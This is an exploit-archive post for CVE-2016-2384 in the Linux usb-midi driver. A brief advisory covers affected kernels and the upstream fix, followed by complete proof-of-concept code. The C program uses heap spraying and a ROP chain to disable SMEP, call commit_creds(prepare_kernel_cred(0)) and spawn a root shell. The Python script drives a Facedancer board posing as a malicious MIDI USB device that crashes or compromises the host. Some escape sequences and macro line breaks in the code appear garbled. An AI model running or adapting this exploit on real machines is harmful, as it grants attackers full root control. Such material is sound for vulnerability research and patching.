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Linux Kernel 3.x usb-midi Local Privilege Escalation

Posted on 13 May 2017

Source: https://xairy.github.io/blog/2016/cve-2016-2384
Source: https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-2384
Source: https://www.youtube.com/watch?v=lfl1NJn1nvo

Exploit-DB Note: This requires physical access to the machine, as well as local access on the system.

- - -

This post describes an exploitable vulnerability (CVE-2016-2384 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2384) in the usb-midi Linux kernel driver. The vulnerability is present only if the usb-midi module is enabled, but as far as I can see many modern distributions do this. The bug has been fixed upstream (https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=07d86ca93db7e5cdf4743564d98292042ec21af7).

The vulnerability can be exploited in two ways:

- Denial of service. Requires physical access (ability to plug in a malicious USB device). All the kernel versions seem to be vulnerable to this attack. I managed to cause a kernel panic on real machines with the following kernels: Ubuntu 14.04 (3.19.0-49-generic), Linux Mint 17.3 (3.19.0-32-generic), Fedora 22 (4.1.5-200.fe22.x86_64) and CentOS 6 (2.6.32-584.12.2.e16.x86_64).

- Arbitrary code execution with ring 0 privileges (and therefore a privilege escalation). Requires both physical and local access (ability to plug in a malicious USB device and to execute a malicious binary as a non-privileged user). All the kernel versions starting from v3.0 seem to be vulnerable to this attack. I managed to gain root privileges on real machines with the following kernels: Ubuntu 14.04 (3.19.0-49-generic), Linux Mint 17.3 (3.19.0-32-generic) and Fedora 22 (4.1.5-200.fe22.x86_64). All machines had SMEP turned on, but didn't have SMAP.

A proof-of-concept exploit (poc.c - https://github.com/xairy/kernel-exploits/blob/master/CVE-2016-2384/poc.c, poc.py - https://github.com/xairy/kernel-exploits/blob/master/CVE-2016-2384/poc.py) is provided for both types of attacks. The provided exploit uses a Facedancer21 (http://goodfet.sourceforge.net/hardware/facedancer21/) board to physically emulate the malicious USB device. The provided exploit bypasses SMEP, but doesn't bypass SMAP (though it might be possible to do). It has about 50% success rate (the kernel crashes on failure), but this can probably be improved. Check out the demo video (https://www.youtube.com/watch?v=lfl1NJn1nvo).

It should actually be possible to make the entire exploit for the arbitrary code execution hardware only and therefore eliminate the local access requirement, but this approach wasn't thoroughly investigated.

The vulnerability was found with KASAN (https://github.com/google/kasan) (KernelAddressSanitizer, a kernel memory error detector) and vUSBf (https://github.com/schumilo/vUSBf) (a virtual usb fuzzer).

--- poc.c ---
// A part of the proof-of-concept exploit for the vulnerability in the usb-midi
// driver. Meant to be used in conjuction with a hardware usb emulator, which
// emulates a particular malicious usb device (a Facedancer21 for example).
//
// Andrey Konovalov <andreyknvl@gmail.com>
//
// Usage:
// // Edit source to set addresses of the kernel symbols and the ROP gadgets.
// $ gcc poc.c -masm=intel
// // Run N instances of the binary with the argument increasing from 0 to N,
// // where N is the number of cpus on your machine.
// $ ./a.out 0 & ./a.out 1 & ...
// [+] starting as: uid=1000, euid=1000
// [+] payload addr: 0x400b60
// [+] fake stack mmaped
// [+] plug in the usb device...
// // Now plug in the device a few times.
// // In one of the instances you will get (if the kernel doesn't crash):
// [+] got r00t: uid=0, euid=0
// # id
// uid=0(root) gid=0(root) groups=0(root)

#define _GNU_SOURCE

#include <netinet/ip.h>

#include <assert.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>

#include <arpa/inet.h>

// You need to set these based on your kernel.
// To easiest way to obtain the addresses of commit_creds and prepare_kernel_cred
// is to boot your kernel and grep /proc/kallsyms for them.
// The easiest way to obtain the gadgets addresses is to use the ROPgadget util.
// Note that all of the used gadgets must preserve the initial value of the rbp
// register, since this value is used later on to restore rsp.
// The value of CR4_DESIRED_VALUE must have the SMEP bit disabled.

#define COMMIT_CREDS 0xffffffff810957e0L
#define PREPARE_KERNEL_CRED 0xffffffff81095ae0L

#define XCHG_EAX_ESP_RET 0xffffffff8100008aL

#define POP_RDI_RET 0xffffffff8118991dL
#define MOV_DWORD_PTR_RDI_EAX_RET 0xffffffff810fff17L
#define MOV_CR4_RDI_RET 0xffffffff8105b8f0L
#define POP_RCX_RET 0xffffffff810053bcL
#define JMP_RCX 0xffffffff81040a90L

#define CR4_DESIRED_VALUE 0x407f0

// Payload. Saves eax, which holds the 32 lower bits of the old esp value,
// disables SMEP, restores rsp, obtains root, jumps back to the caller.

#define CHAIN_SAVE_EAX 
*stack++ = POP_RDI_RET; 
*stack++ = (uint64_t)&saved_eax; 
*stack++ = MOV_DWORD_PTR_RDI_EAX_RET;

#define CHAIN_SET_CR4 
*stack++ = POP_RDI_RET; 
*stack++ = CR4_DESIRED_VALUE; 
*stack++ = MOV_CR4_RDI_RET; 

#define CHAIN_JMP_PAYLOAD 
*stack++ = POP_RCX_RET; 
*stack++ = (uint64_t)&payload; 
*stack++ = JMP_RCX; 

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;

void get_root(void) {
commit_creds(prepare_kernel_cred(0));
}

uint64_t saved_eax;

// Unfortunately GCC does not support `__atribute__((naked))` on x86, which
// can be used to omit a function's prologue, so I had to use this weird
// wrapper hack as a workaround. Note: Clang does support it, which means it
// has better support of GCC attributes than GCC itself. Funny.
void wrapper() {
asm volatile (" 

payload: 

movq %%rbp, %%rax 

movq $0xffffffff00000000, %%rdx 

andq %%rdx, %%rax 

movq %0, %%rdx 

addq %%rdx, %%rax 

movq %%rax, %%rsp 

jmp get_root 

" : : "m"(saved_eax) : );
}

void payload();

// Kernel structs.

struct ubuf_info {
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
uint64_t ctx; // void *
uint64_t desc; // unsigned long
};

struct skb_shared_info {
uint8_t nr_frags; // unsigned char
uint8_t tx_flags; // __u8
uint16_t gso_size; // unsigned short
uint16_t gso_segs; // unsigned short
uint16_t gso_type; // unsigned short
uint64_t frag_list; // struct sk_buff *
uint64_t hwtstamps; // struct skb_shared_hwtstamps
uint32_t tskey; // u32
uint32_t ip6_frag_id; // __be32
uint32_t dataref; // atomic_t
uint64_t destructor_arg; // void *
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
};

#define MIDI_MAX_ENDPOINTS 2

struct snd_usb_midi {
uint8_t bullshit[240];

struct snd_usb_midi_endpoint {
uint64_t out; // struct snd_usb_midi_out_endpoint *
uint64_t in; // struct snd_usb_midi_in_endpoint *
} endpoints[MIDI_MAX_ENDPOINTS];

// More bullshit.
};

// Init buffer for overwriting a skbuff object.

struct ubuf_info ui;

void init_buffer(char* buffer) {
struct skb_shared_info *ssi = (struct skb_shared_info *)&buffer[192];
struct snd_usb_midi *midi = (struct snd_usb_midi *)&buffer[0];
int i;

ssi->tx_flags = 0xff;
ssi->destructor_arg = (uint64_t)&ui;
ui.callback = XCHG_EAX_ESP_RET;

// Prevents some crashes.
ssi->nr_frags = 0;

// Prevents some crashes.
ssi->frag_list = 0;

// Prevents some crashes.
for (i = 0; i < MIDI_MAX_ENDPOINTS; i++) {
midi->endpoints[i].out = 0;
midi->endpoints[i].in = 0;
}
}

// Map a fake stack where the ROP payload resides.

void mmap_stack() {
uint64_t stack_addr;
int stack_offset;
uint64_t* stack;
int page_size;

page_size = getpagesize();

stack_addr = (XCHG_EAX_ESP_RET & 0x00000000ffffffffL) & ~(page_size - 1);
stack_offset = XCHG_EAX_ESP_RET % page_size;

stack = mmap((void *)stack_addr, page_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
if (stack == MAP_FAILED) {
perror("[-] mmap()");
exit(EXIT_FAILURE);
}

stack = (uint64_t *)((char *)stack + stack_offset);

CHAIN_SAVE_EAX;
CHAIN_SET_CR4;
CHAIN_JMP_PAYLOAD;
}

// Sending control messages.

int socket_open(int port) {
int sock;
struct sockaddr_in sa;

sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock == -1) {
perror("[-] socket()");
exit(EXIT_FAILURE);
}

sa.sin_family = AF_INET;
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
sa.sin_port = htons(port);
if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
perror("[-] connect()");
exit(EXIT_FAILURE);
}

return sock;
}

void socket_close(int sock) {
close(sock);
}

void socket_sendmmsg(int sock) {
struct mmsghdr msg[1];
struct iovec msg2;
int rv;
char buffer[512];

memset(&msg2, 0, sizeof(msg2));
msg2.iov_base = &buffer[0];
msg2.iov_len = 512;

memset(msg, 0, sizeof(msg));
msg[0].msg_hdr.msg_iov = &msg2;
msg[0].msg_hdr.msg_iovlen = 1;

memset(&buffer[0], 0xa1, 512);

struct cmsghdr *hdr = (struct cmsghdr *)&buffer[0];
hdr->cmsg_len = 512;
hdr->cmsg_level = SOL_IP + 1;

init_buffer(&buffer[0]);

msg[0].msg_hdr.msg_control = &buffer[0];
msg[0].msg_hdr.msg_controllen = 512;

rv = syscall(__NR_sendmmsg, sock, msg, 1, 0);
if (rv == -1) {
perror("[-] sendmmsg()");
exit(EXIT_FAILURE);
}
}

// Allocating and freeing skbuffs.

struct sockaddr_in server_si_self;

struct sockaddr_in client_si_other;

int init_server(int port) {
int sock;
int rv;

sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (sock == -1) {
perror("[-] socket()");
exit(EXIT_FAILURE);
}

memset(&server_si_self, 0, sizeof(server_si_self));
server_si_self.sin_family = AF_INET;
server_si_self.sin_port = htons(port);
server_si_self.sin_addr.s_addr = htonl(INADDR_ANY);

rv = bind(sock, (struct sockaddr *)&server_si_self,
sizeof(server_si_self));
if (rv == -1) {
perror("[-] bind()");
exit(EXIT_FAILURE);
}

return sock;
}

int init_client(int port) {
int sock;
int rv;

sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (sock == -1) {
perror("[-] socket()");
exit(EXIT_FAILURE);
}

memset(&client_si_other, 0, sizeof(client_si_other));
client_si_other.sin_family = AF_INET;
client_si_other.sin_port = htons(port);

rv = inet_aton("127.0.0.1", &client_si_other.sin_addr);
if (rv == 0) {
perror("[-] inet_aton()");
exit(EXIT_FAILURE);
}

return sock;
}

void client_send_message(int sock) {
int rv;
// Messages of 128 bytes result in 512 bytes skbuffs.
char sent_message[128] = { 0x10 };

rv = sendto(sock, &sent_message[0], 128, 0,
(struct sockaddr *)&client_si_other,
sizeof(client_si_other));
if (rv == -1) {
perror("[-] sendto()");
exit(EXIT_FAILURE);
}
}

void destroy_server(int sock) {
close(sock);
}

void destroy_client(int sock) {
close(sock);
}

// Checking root.

void exec_shell() {
char *args[] = {"/bin/sh", "-i", NULL};
execve("/bin/sh", args, NULL);
}

void fork_shell() {
pid_t rv;

rv = fork();
if (rv == -1) {
perror("[-] fork()");
exit(EXIT_FAILURE);
}

if (rv == 0) {
exec_shell();
}

while (true) {
sleep(1);
}
}

bool is_root() {
return getuid() == 0;
}

void check_root() {
if (!is_root())
return;

printf("[+] got r00t: uid=%d, euid=%d
", getuid(), geteuid());

// Fork and exec instead of just doing the exec to avoid freeing skbuffs
// and prevent some crashes due to a allocator corruption.
fork_shell();
}

// Main.

#define PORT_BASE_1 4100
#define PORT_BASE_2 4200
#define PORT_BASE_3 4300

#define SKBUFFS_NUM 64
#define MMSGS_NUM 256

int server_sock;
int client_sock;

void step_begin(int id) {
int i;

server_sock = init_server(PORT_BASE_2 + id);
client_sock = init_client(PORT_BASE_2 + id);

for (i = 0; i < SKBUFFS_NUM; i++) {
client_send_message(client_sock);
}

for (i = 0; i < MMSGS_NUM; i++) {
int sock = socket_open(PORT_BASE_3 + id);
socket_sendmmsg(sock);
socket_close(sock);
}
}

void step_end(int id) {
destroy_server(server_sock);
destroy_client(client_sock);
}

void body(int id) {
int server_sock, client_sock, i;

server_sock = init_server(PORT_BASE_1 + id);
client_sock = init_client(PORT_BASE_1 + id);

for (i = 0; i < 512; i++)
client_send_message(client_sock);

while (true) {
step_begin(id);
check_root();
step_end(id);
}
}

bool parse_int(const char *input, int *output) {
char* wrong_token = NULL;
int result = strtol(input, &wrong_token, 10);
if (*wrong_token != '') {
return false;
}
*output = result;
return true;
}

int main(int argc, char **argv) {
bool rv;
int id;

if (argc != 2) {
printf("Usage: %s <instance_id>
", argv[0]);
return EXIT_SUCCESS;
}

rv = parse_int(argv[1], &id);
if (!rv) {
printf("Usage: %s <instance_id>
", argv[0]);
return EXIT_SUCCESS;
}

printf("[+] starting as: uid=%d, euid=%d
", getuid(), geteuid());

printf("[+] payload addr: %p
", &payload);

mmap_stack();
printf("[+] fake stack mmaped
");

printf("[+] plug in the usb device...
");

body(id);

return EXIT_SUCCESS;
}
--- EOF ---

---poc.py---
#!/usr/bin/env python3

# A part of the proof-of-concept exploit for the vulnerability in the usb-midi
# driver. Can be used on it's own for a denial of service attack. Should be
# used in conjuction with a userspace part for an arbitrary code execution
# attack.
#
# Requires a Facedancer21 board
# (http://goodfet.sourceforge.net/hardware/facedancer21/).
#
# Andrey Konovalov <anreyknvl@gmail.com>

from USB import *
from USBDevice import *
from USBConfiguration import *
from USBInterface import *

class PwnUSBDevice(USBDevice):
name = "USB device"

def __init__(self, maxusb_app, verbose=0):
interface = USBInterface(
0, # interface number
0, # alternate setting
255, # interface class
0, # subclass
0, # protocol
0, # string index
verbose,
[],
{}
)

config = USBConfiguration(
1, # index
"Emulated Device", # string desc
[ interface ] # interfaces
)

USBDevice.__init__(
self,
maxusb_app,
0, # device class
0, # device subclass
0, # protocol release number
64, # max packet size for endpoint 0
0x0763, # vendor id
0x1002, # product id
0, # device revision
"Midiman", # manufacturer string
"MidiSport 2x2", # product string
"?", # serial number string
[ config ],
verbose=verbose
)

from Facedancer import *
from MAXUSBApp import *

sp = GoodFETSerialPort()
fd = Facedancer(sp, verbose=1)
u = MAXUSBApp(fd, verbose=1)

d = PwnUSBDevice(u, verbose=4)

d.connect()

try:
d.run()
except KeyboardInterrupt:
d.disconnect()
---EOF---

 

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